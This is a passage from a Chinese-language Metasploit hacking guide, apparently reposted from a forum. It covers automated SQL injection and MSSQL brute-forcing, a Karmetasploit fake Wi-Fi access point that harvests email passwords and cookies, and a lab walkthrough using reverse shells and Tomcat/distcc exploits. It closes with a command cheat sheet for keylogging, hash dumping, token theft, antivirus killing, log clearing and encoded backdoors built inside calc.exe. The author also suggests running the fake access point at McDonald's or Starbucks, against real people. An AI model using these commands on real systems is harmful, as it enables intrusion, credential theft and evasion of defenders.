段,如http://example.com/show.asp?id=INJECTHERE&date=2012,fast-track 會全自動注

入,一旦成功會給你返回一個cmd shell。

注入也支持POST 參數,如果是POST 的話更加簡單,只需要你輸入url 地址,fast-track

會自動判斷並嘗試進行注入。

SQL 暴力破解:另外一個實用的功能是暴力破解器(MSSQL Bruter),可以尋找mssql

弱口令,一旦獲取到一個sa 權限的訪問權限,將自動返回一個shell。

SQL 注入批量掃描器(SQLPwnage):此功能可掃描指定網段的所有打開80 端口的主

機,並掃描是否存在sql 注入點,一旦發現注入點將自動嘗試攻擊並通過xp_cmdshell

獲取系統權限。

23

2、Binary-HEX 轉換器:

當你已經進入一個系統且需要上傳可執行文件上去,就可以使用這個工具將可執行的二

進制文件轉換爲HEX 十六進制編碼,然後複製粘貼過去即可。

3、批量用戶端攻擊:

和瀏覽器攻擊差不多,但是增加了對目標的ARP 緩衝區和DNS 感染(只能是在測試者

和目標處於同一網段的情況下),以及MSF 裏面沒有的瀏覽器溢出exploit。當目標瀏覽

惡意網站的時候,fast-track 嘗試着使用所有的exp 對目標機器進行溢出,一旦某個exp

起作用將獲取到目標機器的控制權限。

(新版本fasttrack 中還加入了Autopwn Automation、Nmap Scripting Engine、Exploits、

Payload Generator 等新功能。)

腳本化的工具有時確實能減少很多工作時間,但是不能完全依賴於這類自動程度很高的

工具,特別是在用這些工具搞不定目標的時候,手工測試的能力往往纔是王道,細節決定成

敗。

十二.KARMERASPLOIT

Karmetasploit = Karma + Metasploit,也可以說成它是MSF 的KARMA 實現。

Karma 和MSF 一樣也是使用ruby 語言編寫的,其功能是建立一個虛假的無線接入點,

等待目標連接上鉤。與MSF 結合可實現更強大的功能。Karmetasploit 集成了DNS,POP3,

IMAP4,SMTP,FTP,SMB,HTTP 等服務用於攻擊,模塊位於modules/auxiliary/server 目錄下。

基本配置:

需要的配置不多,首先需要配置一個DHCP 服務爲目標提供動態IP 分配,配置文件:

------------------------------------------------------------------------

option domain-name-servers 10.0.0.1;

default-lease-time 60;

max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {

range 10.0.0.100 10.0.0.254;

option routers 10.0.0.1;

option domain-name-servers 10.0.0.1;

}

-----------------------------------------------------------------------------

將配置文件保存在/etc/dhcp3/dhcpd.conf

下一步下載karma msf 腳本:

24

wget http://www.offensive-security.com/downloads/karma.rc

將網卡激活爲監聽模式:

airmon-ng start wlan0

創建僞裝接入點,-P 可被掃描到,-C 信號發射速率,-e 接入點名稱(需要具有欺騙性),

-v 指定網卡,mon0 爲上一步完成後生成的:

airbase-ng -P -C 30 -e "China-Net-Free" -v mon0

此時會生成一個名爲at0 的新網卡接口。

接着打開DHCP 服務:

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0

dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

檢查是否成功啓動:

ps aux|grep dhcpd

tail -f /var/log/messages

下一步加載karma 腳本:

msf> resource karma.rc

等待收穫:

當對方打開郵件客戶端並登陸收取郵件,那麼他的賬戶密碼將被截獲,因爲他所連接的

DNS 和POP3 都是虛假的。

當對方打開瀏覽器準備瀏覽網頁時karma 開始截取cookie,建立虛假email,DNS 等服

務,加載exploits 來對付客戶端瀏覽器,如果走運的話可以獲取到shell。

總結:建議這招可以拿到麥當勞,星巴克用,效果更好。

十三.構建自己的模塊,編寫自己的exploit,meterpreter

腳本編程

*************************************************************

這三章留着後面看,需要有ruby 基礎等編程基礎。

****************************************************

十四.滲透實戰演習

首先需要下載並安裝一個專門用來練習滲透的虛擬機Metasploitable:

http://updates.metasploit.com/data/Metasploitable.zip.torrent

虛擬機IP:172.16.32.162 用戶名密碼:msfadmin

WINXP:172.16.32.131 開放80 端口有防火牆

25

情報收集:

nmap -sT -P0 172.16.32.131

msfconsole:

cd /opt/framework3/msf3/

msfconsole

msf> use multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 172.15.32.129

set lport 443

load auto_add_route

exploit -j

run getgui -e -f 8080

shell

net user msf msf /add

net localgroup administrators msf /add

upload nmap.exe

nmap.exe -sT -A -P0 172.16.32.162

msf> use auxiliary/scanner/ftp/ftp_version

set RHOSTS 172.16.32.162

run

msf> use auxiliary/scanner/smtp/smtp_version

set RHOSTS 172.16.32.162

run

search tomcat_mgr_login

set rhosts 172.16.32.162

set threads 50

set rport 8180

set verbose false

run

use multi/http/tomcat_mgr_deploy

set password tomcat

set username tomcat

set rhost 172.16.32.162

set lport 9999

set rport 8180

set payload linux/x86/shell_bind_tcp

26

exploit

search distcc_exec

set payload linux/x86/shell_reverse_tcp

set lhost 172.16.32.129

set rhost 172.16.32.162

show payloads

set payload cmd/unix/reverse

exploit

十五.常用命令備忘

-------------------------------------

MSFconsole Commands

-------------------------------------

show exploits 查看所有exploit

show payloads 查看所有payload

show auxiliary 查看所有auxiliary

search name 搜索exploit 等

info 查看加載模塊的信息

use name 加載模塊

LHOST 本機IP

RHOST 目標IP

set function 設置選項值

setg function 全局設置

show options 查看選項

show targets 查看exp 可選的平臺

set target num 設置exp 作用平臺

set payload payload 設置payload

show advanced 查看高級選項

set autorunscript migrate -f 設置自動執行指令

check 測試是否可利用

exploit 執行exp 或模塊

exploit -j 作爲後臺執行

exploit -z 成功後不立即打開session

exploit -e encoder 指定encoder

exploit -h 查看幫助信息

sessions -l -v 列出可用sessions 詳細信息

sessions -s script 在指定session 執行腳本

sessions -K 結束session

sessions -c cmd 執行指定命令

sessions -u sessionID 升級shell

db_create name 創建數據庫

27

db_connect name 連接數據庫

db_nmap nmap 掃描並導入結果

db_autopwn -h 查看autopwn 幫助

db_autopwn -p -r -e 基於端口,反彈shell

db_destroy 刪除數據庫

-----------------------------------------------------------------

Meterpreter Commands

---------------------------------

help 查看幫助

run scriptname 運行腳本

sysinfo 系統基本信息

ls 列目錄

use priv 運行提權組件

ps 列進程

migrate PID PID 遷移

use incognito token 竊取

list_tokens -u 查看可用用戶token

list_tokens -g 查看可用組token

impersonate_token DOMAIN_NAME\USERNAME 模仿token

steal_token PID 竊取PID 所屬token 並模仿

drop_token 停止模仿token

getsystem 獲取SYSTEM 權限

shell 運行shell

execute -f cmd.exe -i 交互式運行cmd

execute -f cmd.exe -i -t 使用可用token 運行

execute -f cmd.exe -i -H -t 同上,同時隱藏進程

rev2self 返回至初始用戶

reg command 修改註冊表

setkesktop number 切換至另一已登錄用戶屏幕

screenshot 截屏

upload file 上傳文件

download file 下載文件

keyscan_start 開始截取擊鍵記錄

keyscan_stop 停止截取擊鍵記錄

getprivs 儘可能提升權限

uictl enable keyboard/mouse 獲取鍵盤或鼠標的控制權

background 將當前meterpreter shell 轉入後臺

hashdump 導出所有用戶hash

use sniffer 加載嗅探模塊

sniffer_interfaces 查看可用網卡接口

sniffer_dump interfaceID pcapname 開始嗅探

sniffer_start interfaceID packet-buffer 指定buffer 範圍嗅探

sniffer_stats interfaceID 抓取統計信息

28

sniffer_stop interfaceID 停止嗅探

add_user username password -h ip 添加用戶

add_group_user "Domain Admins" username -h ip 添加用戶至管理組

clearev 清空日誌

timestomp 改變文件屬性如創建時間等

reboot 重啓

---------------------------------------------------------------

MSFpayload Commands

--------------------------------

msfpayload -h 查看幫助

msfpayload windows/meterpreter/bind_tcp 0

查看指定payload 可用選項

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 X >

payload.exe

生成payload.exe

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R >

payload.raw

保存爲RAW 格式,可用於msfencode

msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c

保存爲C 格式

msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java

保存爲java 格式

-------------------------------

MSFencode Commands

-------------------------------

msfencode -h 查看幫助

msfencode -l 查看可用encoder

msfencode -t (c,elf.exe,java.js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)

以指定格式顯示編碼後的buffer

msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe

生成編碼後的exe

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/countdown -c

5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded.exe

多編碼器結合,多次編碼

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c

生成純字符格式C 類型shellcode

---------------------------

MSFcli Commands

---------------------------

msfcli |grep exploit 只顯示exploit

msfcli | grep exploit/windows 只顯示windows exploit

29

msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp

LPORT=443 RHOST=172.16.32.26 E

針對指定IP 加載指定exp 並設定payload

-----------------------------------------------

MSF,Ninja,Fu

------------------------

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R |

msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe

使用calc.exe 作爲模板,生成經過編碼的後門

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R |

msfencode -x calc,exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe

與上面差不多,只是執行的時候不依賴於生成的可執行文件,且不會有任何提示信息

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe

-e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/hanler

PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E

生成編碼後的payload 並開始監聽本機端口

-----------------------

MSFvenom

-----------------------

msfvenom --payload 自動生成payload

-----------------------------------------------------

Meterpreter Post Exploitation Commands

-----------------------------------------------------

提權一般步驟

meterpreter> use priv

meterpreter> getsystem

meterpreter> ps

meterpreter> steal_token 1784

meterpreter> shell

net user msf msf /add /DOMAIN

net group "Domain Admins" msf /add /DOMAIN

獲取hash 一般步驟

meterpreter> use priv

meterpreter> getsystem

meterpreter> hashdump

如果是在win2008 系統上:

meterpreter> run migrate

meterpreter> run killav

meterpreter> ps

30

meterpreter> migrate 1436

meterpreter> keyscan_start

meterpreter> keyscan_dump

meterpreter> keyscan_stop

使用Incognito 提權

meterpreter> use incognito

meterpreter> list_tokens -u

meterpreter> use priv

meterpreter> getsystem

meterpreter> list_tokens -u

meterpreter> impersonate_token IHAZSECURITY\Administrator

查看保護機制並禁用之

meterpreter> run getcountermeasure

meterpreter> run getcountermeasure -h

meterpreter> run getcountermeasure -d -k

檢查是否是虛擬機

meterpreter> run checkvm

轉入命令行

meterpreter> shell

遠程VNC 控制

meterpreter> run vnc

轉入後臺

meterpreter> background

Bypass UAC

meterpreter> run post/windows/escalate/bypassuac

OS X 系統上dump hash

meterpreter> run post/osx/gather/hashdump

Linux 系統上dump hash

meterpreter> run post/linux/gather/hashdump

轉自: [url=http://www.t00ls.net/  完     

http://www.t00ls.net/

  完

發佈了21 篇原創文章 · 獲贊 48 · 訪問量 20萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章